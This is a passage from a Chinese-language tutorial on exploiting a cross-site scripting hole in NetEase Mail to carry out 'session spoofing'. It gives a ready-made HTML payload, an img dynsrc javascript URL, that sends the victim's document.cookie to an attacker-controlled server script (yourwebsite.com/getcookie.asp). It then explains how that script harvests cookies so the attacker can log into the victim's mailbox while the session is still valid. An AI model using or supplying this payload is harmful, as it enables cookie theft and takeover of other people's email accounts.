跨站漏洞让网易邮箱成为黑客后院
3.session欺骗
上面只是一个测试，现在所讲的方法可以让攻击者在有效时间内登陆受害者的邮箱，这就是session欺骗。Session的默认有效时间是20分钟，当攻击者截取到session，同时受害者没有注销掉会话记录的时候，欺骗就成功了。
同样勾选“编辑源码”，填入以下内容：
<img dynsrc=javascript:window.location.href=''http://yourwebsite.com/getcookie.asp?msg=''+document.cookie>。
意思是访问你的服务器上getcookie.asp文件，这个文件用于收取访问者的cookie，收取后在你的服务器上生成指定文件。如图：
 |
|
0
相关文章
关注我们
